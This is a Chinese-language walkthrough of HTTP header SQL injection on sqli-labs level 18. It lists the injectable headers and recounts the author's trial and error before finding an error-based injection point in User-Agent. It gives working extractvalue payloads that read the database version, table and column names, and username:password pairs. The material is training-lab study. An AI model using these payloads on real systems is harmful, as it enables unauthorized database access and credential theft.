HTTP Header 注入
可被注入的参数
- cookie
- referer
- user-agent
- x-forward-for
- client-ip
- host
参数介绍
cookie
网站为了辨别⽤户⾝份、进⾏ session 跟踪⽽储存在⽤户本地终端上的数据(通常经过加密).
referer
浏览器向 WEB 服务器表明⾃⼰是从哪个页⾯链接过来的.
user-agent
使得服务器能够识别客户使⽤的操作系统,游览器版本等.(很多数据量⼤的⽹站中会记录客户使⽤的操作系统或浏览器版本等存⼊数据库中)
x-forward-for
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常⼀些⽹站的防注⼊功能会记录请求端真实IP地址并写⼊数据库or某⽂件[通过修改XXF头可以实现伪造IP]).
client-ip
客户端IP,每次上网的时候可能不一样
host
浏览器向 WEB 服务器表明⾃⼰是从哪个页⾯链接过来的
注入姿势
以sqli_labs18为例
输入类容,抓包
在可以注入的点,进行测试
理论上可注入点有6个:cookie、referer、user-agent、host、client-ip、x-forward-for但并不是每一个请求报文都全部包含着6个请求报头
通过对 referer、host、user-agent后加'得到页面请求错误,直接404给整懵了。
折腾了很一阵儿,单个单个加引号在user_agent和referer可以访问页面成功,单引号没有起到任何作用。
host处加引号直接400
网上查了下资料,18关存在注入的前提是账号和密码首先要输入正确——账号:admin 密码:admin
OK,我们再来.
我直接在原有的数据包将用户名和密码改为admin,给个注入点加引号不行。
于是我第18关在页面账户和密码上输入admin,是得到了成功访问的提示
于是我重新进行抓包来尝试
加入引号后直接400,差点奔溃。
仔细观察后,是引号格式的问题,我虽然键盘调的是引文格式,可输入到repeater模块就成了中文格式,于是再option将宋体格式调整arial
给host,user-agent,referer后加上'后,访问不了页面
于是 一个一个加',看哪个会报错
user-agent处会报错,并且告诉了错误的原因
于是说明此处是可以进行报错注入的
获取数据
' and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '1'='1
剩下的就是报错注入,一步一步来
但是,我看到了国光大佬的博客,然后,我就自闭了
我找找资料,慢慢来,我要把这语句看懂https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-37
获取数据表(还是不偷懒了)
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1
之中我们选择users这张表
获取列名
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e)) and '1'='1
获取具体数据
'and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) and '1'='1
分析
马后炮的行为:我应该通过这张图知道user-agent后应该还有两个参数,我后续的payload要想办法填充这两个参数